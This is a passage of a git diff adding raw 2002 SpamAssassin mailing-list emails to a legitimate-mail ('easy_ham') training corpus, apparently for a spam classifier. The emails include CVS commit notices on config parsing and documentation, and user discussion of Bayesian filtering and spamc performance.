usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17hYKy-0005yg-00; Wed, + 21 Aug 2002 09:28:04 -0700 +Received: from usw-sf-sshgate.sourceforge.net ([216.136.171.253] + helo=usw-sf-netmisc.sourceforge.net) by usw-sf-list1.sourceforge.net with + esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id + 17hYKQ-0003Dw-00 for ; + Wed, 21 Aug 2002 09:27:30 -0700 +Received: from usw-pr-cvs1-b.sourceforge.net ([10.5.1.7] + helo=usw-pr-cvs1.sourceforge.net) by usw-sf-netmisc.sourceforge.net with + esmtp (Exim 3.22 #1 (Debian)) id 17hYKQ-0005KZ-00 for + ; Wed, 21 Aug 2002 09:27:30 + -0700 +Received: from msquadrat by usw-pr-cvs1.sourceforge.net with local (Exim + 3.22 #1 (Debian)) id 17hYKP-0003av-00 for + ; Wed, 21 Aug 2002 09:27:29 + -0700 +To: spamassassin-commits@example.sourceforge.net +Message-Id: +From: "Malte S. Stretz" +Subject: [SACVS] CVS: spamassassin/lib/Mail/SpamAssassin Conf.pm,1.91.2.1,1.91.2.2 +Sender: spamassassin-commits-admin@example.sourceforge.net +Errors-To: spamassassin-commits-admin@example.sourceforge.net +X-Beenthere: spamassassin-commits@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 21 Aug 2002 09:27:29 -0700 +Date: Wed, 21 Aug 2002 09:27:29 -0700 + +Update of /cvsroot/spamassassin/spamassassin/lib/Mail/SpamAssassin +In directory usw-pr-cvs1:/tmp/cvs-serv13785 + +Modified Files: + Tag: b2_4_0 + Conf.pm +Log Message: +restricted version_tag + +Index: Conf.pm +=================================================================== +RCS file: /cvsroot/spamassassin/spamassassin/lib/Mail/SpamAssassin/Conf.pm,v +retrieving revision 1.91.2.1 +retrieving revision 1.91.2.2 +diff -b -w -u -d -r1.91.2.1 -r1.91.2.2 +--- Conf.pm 21 Aug 2002 16:02:13 -0000 1.91.2.1 ++++ Conf.pm 21 Aug 2002 16:27:27 -0000 1.91.2.2 +@@ -263,6 +263,7 @@ + + if(/^version[-_]tag\s+(.*)$/) { + my $tag = lc($1); ++ $tag =~ tr/a-z0-9./_/c; + foreach (@Mail::SpamAssassin::EXTRA_VERSION) { + if($_ eq $tag) { + $tag = undef; + + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 +_______________________________________________ +Spamassassin-commits mailing list +Spamassassin-commits@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-commits + diff --git a/bayes/spamham/easy_ham_2/01337.f4ddbcdd625e6ceca4a3dbc59f08079a b/bayes/spamham/easy_ham_2/01337.f4ddbcdd625e6ceca4a3dbc59f08079a new file mode 100644 index 0000000..754abeb --- /dev/null +++ b/bayes/spamham/easy_ham_2/01337.f4ddbcdd625e6ceca4a3dbc59f08079a @@ -0,0 +1,86 @@ +From spamassassin-commits-admin@lists.sourceforge.net Wed Aug 21 17:28:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A0AAB43C32 + for ; Wed, 21 Aug 2002 12:28:32 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 17:28:32 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7LGRwZ01354 for ; Wed, 21 Aug 2002 17:27:58 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17hYKx-0005xV-00; Wed, + 21 Aug 2002 09:28:03 -0700 +Received: from usw-sf-sshgate.sourceforge.net ([216.136.171.253] + helo=usw-sf-netmisc.sourceforge.net) by usw-sf-list1.sourceforge.net with + esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id + 17hYK5-00036z-00 for ; + Wed, 21 Aug 2002 09:27:09 -0700 +Received: from usw-pr-cvs1-b.sourceforge.net ([10.5.1.7] + helo=usw-pr-cvs1.sourceforge.net) by usw-sf-netmisc.sourceforge.net with + esmtp (Exim 3.22 #1 (Debian)) id 17hYK5-0005KD-00 for + ; Wed, 21 Aug 2002 09:27:09 + -0700 +Received: from msquadrat by usw-pr-cvs1.sourceforge.net with local (Exim + 3.22 #1 (Debian)) id 17hYK5-0003XO-00 for + ; Wed, 21 Aug 2002 09:27:09 + -0700 +To: spamassassin-commits@example.sourceforge.net +Message-Id: +From: "Malte S. Stretz" +Subject: [SACVS] CVS: spamassassin/lib/Mail/SpamAssassin Conf.pm,1.92,1.93 +Sender: spamassassin-commits-admin@example.sourceforge.net +Errors-To: spamassassin-commits-admin@example.sourceforge.net +X-Beenthere: spamassassin-commits@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 21 Aug 2002 09:27:09 -0700 +Date: Wed, 21 Aug 2002 09:27:09 -0700 + +Update of /cvsroot/spamassassin/spamassassin/lib/Mail/SpamAssassin +In directory usw-pr-cvs1:/tmp/cvs-serv13563/lib/Mail/SpamAssassin + +Modified Files: + Conf.pm +Log Message: +restricted version_tag + +Index: Conf.pm +=================================================================== +RCS file: /cvsroot/spamassassin/spamassassin/lib/Mail/SpamAssassin/Conf.pm,v +retrieving revision 1.92 +retrieving revision 1.93 +diff -b -w -u -d -r1.92 -r1.93 +--- Conf.pm 21 Aug 2002 16:01:08 -0000 1.92 ++++ Conf.pm 21 Aug 2002 16:27:06 -0000 1.93 +@@ -263,6 +263,7 @@ + + if(/^version[-_]tag\s+(.*)$/) { + my $tag = lc($1); ++ $tag =~ tr/a-z0-9./_/c; + foreach (@Mail::SpamAssassin::EXTRA_VERSION) { + if($_ eq $tag) { + $tag = undef; + + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 +_______________________________________________ +Spamassassin-commits mailing list +Spamassassin-commits@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-commits + diff --git a/bayes/spamham/easy_ham_2/01338.cf2b7a6c2f872b9442d68609842d7d92 b/bayes/spamham/easy_ham_2/01338.cf2b7a6c2f872b9442d68609842d7d92 new file mode 100644 index 0000000..a2c5f76 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01338.cf2b7a6c2f872b9442d68609842d7d92 @@ -0,0 +1,107 @@ +From spamassassin-commits-admin@lists.sourceforge.net Wed Aug 21 17:34:24 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4F67343C37 + for ; Wed, 21 Aug 2002 12:34:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 17:34:13 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7LGWwZ01644 for ; Wed, 21 Aug 2002 17:32:58 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17hYPn-0007o0-00; Wed, + 21 Aug 2002 09:33:03 -0700 +Received: from usw-sf-sshgate.sourceforge.net ([216.136.171.253] + helo=usw-sf-netmisc.sourceforge.net) by usw-sf-list1.sourceforge.net with + esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id + 17hYPi-0004pd-00 for ; + Wed, 21 Aug 2002 09:32:58 -0700 +Received: from usw-pr-cvs1-b.sourceforge.net ([10.5.1.7] + helo=usw-pr-cvs1.sourceforge.net) by usw-sf-netmisc.sourceforge.net with + esmtp (Exim 3.22 #1 (Debian)) id 17hYPi-0005Pn-00 for + ; Wed, 21 Aug 2002 09:32:58 + -0700 +Received: from yyyyason by usw-pr-cvs1.sourceforge.net with local (Exim 3.22 + #1 (Debian)) id 17hYPi-0004Zs-00 for + ; Wed, 21 Aug 2002 09:32:58 + -0700 +To: spamassassin-commits@example.sourceforge.net +Message-Id: +From: Justin Mason +Subject: [SACVS] CVS: spamassassin/wordfreqs RUNME,1.1,1.1.4.1 +Sender: spamassassin-commits-admin@example.sourceforge.net +Errors-To: spamassassin-commits-admin@example.sourceforge.net +X-Beenthere: spamassassin-commits@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 21 Aug 2002 09:32:58 -0700 +Date: Wed, 21 Aug 2002 09:32:58 -0700 + +Update of /cvsroot/spamassassin/spamassassin/wordfreqs +In directory usw-pr-cvs1:/tmp/cvs-serv17442/wordfreqs + +Modified Files: + Tag: b2_4_0 + RUNME +Log Message: +added a warning for ISPs in required_hits manual entry + +Index: RUNME +=================================================================== +RCS file: /cvsroot/spamassassin/spamassassin/wordfreqs/RUNME,v +retrieving revision 1.1 +retrieving revision 1.1.4.1 +diff -b -w -u -d -r1.1 -r1.1.4.1 +--- RUNME 15 Jan 2002 05:34:18 -0000 1.1 ++++ RUNME 21 Aug 2002 16:32:55 -0000 1.1.4.1 +@@ -13,17 +13,20 @@ + + mv spam.local nonspam.local logs/old + +-./mass-phrase-freq /local2/mail-archives/scoop.1999.gz >> nonspam.local +-./mass-phrase-freq /local2/mail-archives/oldmail.1998.gz >> nonspam.local +- + ./mass-phrase-freq-for-jm ; sh commands.sh + +-for f in /local2/mail-archives/crackmice-old/* ; do +- ./mass-phrase-freq $f >> nonspam.local ++for f in /local/mail-archives/recent/nonspam/* ; do ++ echo Checking $f: ; ./mass-phrase-freq $f >> nonspam.local + done + +-./mass-phrase-freq /local2/mail-archives/kelsey.spamtrap.gz >> spam.local +-./mass-phrase-freq /local2/mail-archives/spam.2000-2001.gz >> spam.local ++./mass-phrase-freq /local/mail-archives/recent/spamtrap/20020717/nonspam.mbox >> nonspam.local ++ ++./mass-phrase-freq /local/mail-archives/recent/spamtrap/20020717/mbox >> spam.local ++ ++for f in /local/mail-archives/old/nonspam/* /local/mail-archives/recent/nonspam/* ++do ++ echo Checking $f: ; ./mass-phrase-freq $f >> nonspam.local ++done + + echo " + + + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 +_______________________________________________ +Spamassassin-commits mailing list +Spamassassin-commits@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-commits + diff --git a/bayes/spamham/easy_ham_2/01339.66e2b87365ddf25f6f84a0dfcd89bb3e b/bayes/spamham/easy_ham_2/01339.66e2b87365ddf25f6f84a0dfcd89bb3e new file mode 100644 index 0000000..7940d41 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01339.66e2b87365ddf25f6f84a0dfcd89bb3e @@ -0,0 +1,92 @@ +From spamassassin-commits-admin@lists.sourceforge.net Wed Aug 21 17:34:33 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4545B43C38 + for ; Wed, 21 Aug 2002 12:34:14 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 17:34:14 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7LGWwZ01643 for ; Wed, 21 Aug 2002 17:32:58 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17hYPn-0007no-00; Wed, + 21 Aug 2002 09:33:03 -0700 +Received: from usw-sf-sshgate.sourceforge.net ([216.136.171.253] + helo=usw-sf-netmisc.sourceforge.net) by usw-sf-list1.sourceforge.net with + esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id + 17hYPi-0004pc-00 for ; + Wed, 21 Aug 2002 09:32:58 -0700 +Received: from usw-pr-cvs1-b.sourceforge.net ([10.5.1.7] + helo=usw-pr-cvs1.sourceforge.net) by usw-sf-netmisc.sourceforge.net with + esmtp (Exim 3.22 #1 (Debian)) id 17hYPi-0005Pj-00 for + ; Wed, 21 Aug 2002 09:32:58 + -0700 +Received: from yyyyason by usw-pr-cvs1.sourceforge.net with local (Exim 3.22 + #1 (Debian)) id 17hYPh-0004Zn-00 for + ; Wed, 21 Aug 2002 09:32:57 + -0700 +To: spamassassin-commits@example.sourceforge.net +Message-Id: +From: Justin Mason +Subject: [SACVS] CVS: spamassassin/lib/Mail/SpamAssassin Conf.pm,1.91.2.2,1.91.2.3 +Sender: spamassassin-commits-admin@example.sourceforge.net +Errors-To: spamassassin-commits-admin@example.sourceforge.net +X-Beenthere: spamassassin-commits@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 21 Aug 2002 09:32:57 -0700 +Date: Wed, 21 Aug 2002 09:32:57 -0700 + +Update of /cvsroot/spamassassin/spamassassin/lib/Mail/SpamAssassin +In directory usw-pr-cvs1:/tmp/cvs-serv17442/lib/Mail/SpamAssassin + +Modified Files: + Tag: b2_4_0 + Conf.pm +Log Message: +added a warning for ISPs in required_hits manual entry + +Index: Conf.pm +=================================================================== +RCS file: /cvsroot/spamassassin/spamassassin/lib/Mail/SpamAssassin/Conf.pm,v +retrieving revision 1.91.2.2 +retrieving revision 1.91.2.3 +diff -b -w -u -d -r1.91.2.2 -r1.91.2.3 +--- Conf.pm 21 Aug 2002 16:27:27 -0000 1.91.2.2 ++++ Conf.pm 21 Aug 2002 16:32:55 -0000 1.91.2.3 +@@ -396,7 +396,11 @@ + =item required_hits n.nn (default: 5) + + Set the number of hits required before a mail is considered spam. C can +-be an integer or a real number. ++be an integer or a real number. 5.0 is the default setting, and is quite ++aggressive; it would be suitable for a single-user setup, but if you're an ISP ++installing SpamAssassin, you should probably set the default to be something ++much more conservative, like 8.0 or 10.0. Experience has shown that you ++B get plenty of user complaints otherwise! + + =cut + + + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 +_______________________________________________ +Spamassassin-commits mailing list +Spamassassin-commits@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-commits + diff --git a/bayes/spamham/easy_ham_2/01340.c46ea4ebbefcffc6d221b218e17688ba b/bayes/spamham/easy_ham_2/01340.c46ea4ebbefcffc6d221b218e17688ba new file mode 100644 index 0000000..b304f77 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01340.c46ea4ebbefcffc6d221b218e17688ba @@ -0,0 +1,102 @@ +From spamassassin-talk-admin@lists.sourceforge.net Wed Aug 21 17:39:26 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9611043C34 + for ; Wed, 21 Aug 2002 12:39:25 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 17:39:25 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7LGdFZ01759 for ; Wed, 21 Aug 2002 17:39:15 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17hYUf-0000ob-00; Wed, + 21 Aug 2002 09:38:05 -0700 +Received: from www.ingersoll.com ([198.183.157.2] + helo=pxysrv01.ingersoll.com) by usw-sf-list1.sourceforge.net with smtp + (Exim 3.31-VA-mm2 #1 (Debian)) id 17hYUC-00075u-00 for + ; Wed, 21 Aug 2002 09:37:36 -0700 +Received: FROM excsrv02.ingersoll.com BY pxysrv01.ingersoll.com ; + Wed Aug 21 11:37:32 2002 -0500 +Received: by rockford with Internet Mail Service (5.5.2653.19) id + ; Wed, 21 Aug 2002 11:37:31 -0500 +Message-Id: <752D46E7E674D311842600A0C9EC627A03EAABA8@rockford> +From: "Hess, Mtodd, /mth" +To: SpamAssassin-talk@example.sourceforge.net +Subject: RE: [SAtalk] paulgraham.com article +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 21 Aug 2002 11:37:23 -0500 +Date: Wed, 21 Aug 2002 11:37:23 -0500 + +Yes, it is very impressive. However, all of the most advanced content +filtering known to man is easily defeated by simply presenting the content +in the form of a graphic image (GIF, JPG, etc.). I'm surprised that more +spammers don't already do this. I know we have discussed this before, and +maybe we can detect this type of spam via the headers and with Razor/DCC (if +you're using them). But that sure narrows down the ruleset (maybe that's +good). + +MTodd + + + + +-----Original Message----- +From: yyyy@spamassassin.taint.org [mailto:yyyy@spamassassin.taint.org] +Sent: Friday, August 16, 2002 12:52 PM +To: SpamAssassin-talk@example.sourceforge.net +Subject: [SAtalk] paulgraham.com article + + +Quite interesting -- it's pretty similar to the spam phrases stuff. As +Scott pointed out, this would work quite well as a naive Bayesian system. +(in fact, I think it may be quite close to being one already...) + +I like the way "FL" -- ie. Florida -- is one of the top scoring terms. ;) + +Also, when I was doing the spam-phrases stuff, I discounted the ff0000 +thing, as HTML garbage! never realised it corresponded to "bright red" :( +Have we got a test for that? + +--j. + +-- +'Justin Mason' => { url => http://jmason.org/ , blog => http://taint.org/ } + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + diff --git a/bayes/spamham/easy_ham_2/01341.0fa2744cb57e01038e5832556c40703d b/bayes/spamham/easy_ham_2/01341.0fa2744cb57e01038e5832556c40703d new file mode 100644 index 0000000..f4e9137 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01341.0fa2744cb57e01038e5832556c40703d @@ -0,0 +1,87 @@ +From spamassassin-talk-admin@lists.sourceforge.net Wed Aug 21 18:06:04 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0656643C38 + for ; Wed, 21 Aug 2002 13:05:54 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 18:05:54 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7LH86Z02684 for ; Wed, 21 Aug 2002 18:08:06 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17hYwh-0006nV-00; Wed, + 21 Aug 2002 10:07:03 -0700 +Received: from panoramix.vasoftware.com ([198.186.202.147]) by + usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) + (Exim 3.31-VA-mm2 #1 (Debian)) id 17hYvx-0005Ns-00 for + ; Wed, 21 Aug 2002 10:06:17 -0700 +Received: from hippo.star.co.uk ([195.216.14.9]:2657) by + panoramix.vasoftware.com with smtp (Exim 4.05-VA-mm1 #1 (Debian)) id + 17hYvr-0006KW-00 for ; + Wed, 21 Aug 2002 10:06:11 -0700 +Received: from MATT_LINUX by hippo.star.co.uk via smtpd (for + panoramix.vasoftware.com [198.186.202.147]) with SMTP; 21 Aug 2002 + 16:57:21 UT +Received: (qmail 7436 invoked from network); 19 Aug 2002 17:02:32 -0000 +Received: from unknown (HELO startechgroup.co.uk) (10.2.100.178) by + matt?dev.int.star.co.uk with SMTP; 19 Aug 2002 17:02:32 -0000 +Message-Id: <3D63C7BE.2020705@startechgroup.co.uk> +From: Matt Sergeant +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0rc1) Gecko/20020426 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: "Hess, Mtodd, /mth" +Cc: SpamAssassin-talk@example.sourceforge.net +References: <752D46E7E674D311842600A0C9EC627A03EAABA8@rockford> +Subject: Re: [SAtalk] paulgraham.com article +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 21 Aug 2002 18:02:54 +0100 +Date: Wed, 21 Aug 2002 18:02:54 +0100 + +Hess, Mtodd, /mth wrote: +> Yes, it is very impressive. However, all of the most advanced content +> filtering known to man is easily defeated by simply presenting the content +> in the form of a graphic image (GIF, JPG, etc.). I'm surprised that more +> spammers don't already do this. I know we have discussed this before, and +> maybe we can detect this type of spam via the headers and with Razor/DCC (if +> you're using them). But that sure narrows down the ruleset (maybe that's +> good). + +Doesn't defeat this system at all. If you see that once, feed it into +your bayesian classifier, and it classifies the URLs used for the +images. Then next time it sees one, it knows with almost 100% accuracy +that an email with one of those URLs is definitely spam. + +In many ways this is like Razor, which is why I'm hacking on a +distributed system to do this, to see if it's feasible to scale it globally. + +Matt. + + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + diff --git a/bayes/spamham/easy_ham_2/01342.6c332f8cda7608c57d54c50114eb526c b/bayes/spamham/easy_ham_2/01342.6c332f8cda7608c57d54c50114eb526c new file mode 100644 index 0000000..c75b8e0 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01342.6c332f8cda7608c57d54c50114eb526c @@ -0,0 +1,99 @@ +From spamassassin-talk-admin@lists.sourceforge.net Thu Aug 22 10:49:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D926143C4F + for ; Thu, 22 Aug 2002 05:47:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 22 Aug 2002 10:47:12 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7LHvHZ04091 for ; Wed, 21 Aug 2002 18:57:17 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17hZiA-0008Iy-00; Wed, + 21 Aug 2002 10:56:06 -0700 +Received: from gc-na5.alcatel.fr ([64.208.49.5] helo=smail2.alcatel.fr) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17hZhm-0007v9-00 for ; + Wed, 21 Aug 2002 10:55:42 -0700 +Received: from iww.netfr.alcatel.fr (iww.netfr.alcatel.fr + [155.132.180.114]) by smail2.alcatel.fr (ALCANET/NETFR) with ESMTP id + g7LHsTWb005902 for ; + Wed, 21 Aug 2002 19:54:29 +0200 +Received: by iww.netfr.alcatel.fr + ("Mikrosoft Xchange", + from userid 513) id 32F5E1C2D; Wed, 21 Aug 2002 19:55:29 +0200 (CEST) +From: Stephane Lentz +To: spamassassin-talk@example.sourceforge.net +Subject: Re: [SAtalk] spamc processes +Message-Id: <20020821175528.GA653@iww.netfr.alcatel.fr> +Mail-Followup-To: Stephane Lentz , + spamassassin-talk@lists.sourceforge.net +References: <1029947173.32120.23.camel@localhost.localdomain> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <1029947173.32120.23.camel@localhost.localdomain> +X-Mailer: Bogus Notes 5.10.666 (Corporate Release) +X-Virus-Scanned: by amavisd-milter (http://amavis.org/) +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 21 Aug 2002 19:55:29 +0200 +Date: Wed, 21 Aug 2002 19:55:29 +0200 + +On Wed, Aug 21, 2002 at 11:26:13AM -0500, brad angelcyk wrote: +> +> +> Hi, +> +> I have been using SpamAssassin for a few weeks, and I have noticed that +> the speed of scanning of email has drastically reduced since we switched +> to it. My configuration is Sendmail 8.12.3 with SA 2.31 (using the +> spamass-milter sendmail milter). There are 125 spamc processes running +> right now, and there were about 109 an hour ago. They don't seem to be +> clearing up. Does anybody have any information on what I can do? +> +> Thanks, +> Brad +> +the check_local tarball includes a program called miltrassassin. +It's a C Milter program speaking the SPAMD protocol so it will be +far more efficient than spamass-milter. +Check http://www.digitalanswers.org/check_local/miltrassassin.html +for some details about miltrassassin. +The check_local tarball can be downloaded on +http://www.digitalanswers.org/check_local/beta.html + +Another alternative solution is to use Mimedefang : it offers +anti-spam, attachment defanging, custom filtering. + +regards, + +SL/ + +--- +Stephane Lentz / Alcanet International - Internet Services + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + diff --git a/bayes/spamham/easy_ham_2/01343.3fd8930d319df4bda5b59b537e5c6d43 b/bayes/spamham/easy_ham_2/01343.3fd8930d319df4bda5b59b537e5c6d43 new file mode 100644 index 0000000..748ded3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01343.3fd8930d319df4bda5b59b537e5c6d43 @@ -0,0 +1,94 @@ +From spamassassin-talk-admin@lists.sourceforge.net Thu Aug 22 10:49:20 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 84CC543C72 + for ; Thu, 22 Aug 2002 05:47:14 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 22 Aug 2002 10:47:14 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7LIJHZ04736 for ; Wed, 21 Aug 2002 19:19:18 +0100 +Received: from usw-sf-list1-b.sourceforge.net 